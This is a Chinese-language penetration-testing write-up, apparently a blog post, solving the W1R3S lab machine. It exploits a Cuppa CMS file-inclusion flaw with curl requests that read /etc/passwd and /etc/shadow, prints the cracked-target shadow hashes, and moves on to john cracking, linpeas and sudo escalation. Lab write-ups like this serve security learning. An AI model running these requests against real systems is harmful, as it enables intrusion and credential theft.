特别注明：本文章只用于学习交流，不可用来从事违法犯罪活动，如使用者用来从事违法犯罪行为，一切与作者无关。

目录

前言

一、信息收集

二、网页信息的收集

三、提权

总结

---

---

前言

思路清晰：

1.信息收集，基础的ftp站点没有什么能获取到的

2.基础信息收集对常见站点的爆破和利用都没有有效信息，对站点进行爆破得到CMS

3.根据得到CMS搜索可利用的exp或者下载源码审计，这里有可利用的exp直接下载利用

4.exp是对于文件包含的渗透，php文件包含include()、include_once()、require()、require_once()

5.得到普通用户的webshell，常规收集系统信息提权这次不用，我们根据扫描出的sudo来提权得到rootshell

一、信息收集

照例扫描内网

扫描到靶机

收集到开放的对应端口，有80，先访问

我们继续扫描靶机的详细信息

nmap -p- -sV -sS -A -T5 192.168.198.132

信息有点多，我们一个一个看，先看ftp的

其他的我们要不然就是ssh爆破，爆破子目录，这些都需要进一步收集信息，但是我们再ftp哪里可以看到几个文件。

我们知道系统版本，且他有个低权限的Anonymous用户，没准可以提权，ftp的思路比较清晰，所以我们还是先进ftp

ftp登录

先把所有文件目录下的文件看下

把文件获取下来

先获取content里面的文件

docs里面的文件

new-employees的文件

我们一个一个查看

for W1R3S.inc

这个不知道是文件还是用户名，大概率是个文件

02.txt明显里面是个base64编码的

上面那串值感觉像是hash的密文，我们识别一下

识别出来的协议可能性太多了，根本没法判断

03.txt也没什么信息，就是个图形而已

worktodo.txt和employee-names.txt都有很多信息，我们一个一个来

感觉像是俄语或者乌克兰语啥的。。。但是百度识图啥的都出不来

·

这个感觉是用户，但现在也没办法直接用，ftp能得到信息就这么多，接下来要不然就是提权要不然就是继续其他端口的信息收集，我们还是尽量收集信息把。。。

---

二、网页信息的收集

前面我们访问80发现有站点，那么我们爆破下站点

内容有点多，我们先关注一级目录

有个administrator目录，我们直接访问看下

直接给我们跳转到了一个cms平台

这个cms是Cuppa CMS

请教一下谷歌老师

 

有编号，我们继续看内容

这是个php的文件包含的漏洞

 

我们利用一下

http://192.168.198.132/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd

利用失败?

试了好久playload是这样用

http://192.168.198.132/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd

这里看不到文件内容，因为我们发送的是get请求，我们需要发送post请求去获取

我们用curl命令

curl --data-urlencode urlConfig=../../../../../../../../../etc/passwd 

http://192.168.198.132/administrator/alerts/alertConfigField.php

前面都是css源码

后面是内容

这里最差可以得到账户信息

我们读取密码肯定是读取shadow

curl --data-urlencode urlConfig=../../../../../../../../../etc/shadow 

http://192.168.198.132/administrator/alerts/alertConfigField.php

得到三个账户是由密码的，那么我们就可以尝试爆破这三个密码，因为有ssh

root:$6$vYcecPCy$JNbK.hr7HU72ifLxmjpIP9kTcx./ak2MM3lBs.Ouiu0mENav72TfQIs8h1jPm2rwRFqd87HDC0pi7gn9t7VgZ0:17554:0:99999:7:::

www-data:$6$8JMxE7l0$yQ16jM..ZsFxpoGue8/0LBUnTas23zaOqg2Da47vmykGTANfutzM8MuFidtb0..Zk.TUKDoDAVRCoXiZAH.Ud1:17560:0:99999:7:::

w1r3s:$6$xe/eyoTx$gttdIYrxrstpJP97hWqttvc5cGzDNyMb0vSuppux4f2CcBv3FwOt2P1GFLjZdNqjwRuP3eUjkgb/io7x9q1iP.:17567:0:99999:7:::

当然这个基本就只能hash碰撞了

我们用john这个工具尝试爆破一下

vim j.txt

直接爆破这个文件

得到两个用户

我们尝试登陆

w1r3s按照我的经验是肯定能登录的

www-data这个用户明显是站点用户，可能登录不了，但是我们还是尝试一下

登录不了，但是有报错信息有版本号和其他信息

---

三、提权

我们有个shell脚本可以自动化信息收集

想要可以私信我

kali开启8000端口网页

wget获取shell脚本

执行一下

w1r3s@W1R3S:~$ chmod +x linpeas.sh

w1r3s@W1R3S:~$ ./linpeas.sh

高亮的都可以利用

我们发现sudo可以利用

直接利用就好了

直接拿到flag

总结：

这个靶场很简单，主要还是了解一下文件上传

我们再看看这个导致文件包含漏洞的php文件和源码

nano alertConfigField.php

文件包含渗透里面有很多这样的漏洞，我们还是需要了解的。

---

总结

这个靶场比较简单，主要是对文件包含漏洞进行了解，大家可以多看看文件包含漏洞的文章，多复盘，多总结，祝各位师傅越来越厉害！看到这里点个👍把！

特别注明：本文章只用于学习交流，不可用来从事违法犯罪活动，如使用者用来从事违法犯罪行为，一切与作者无关。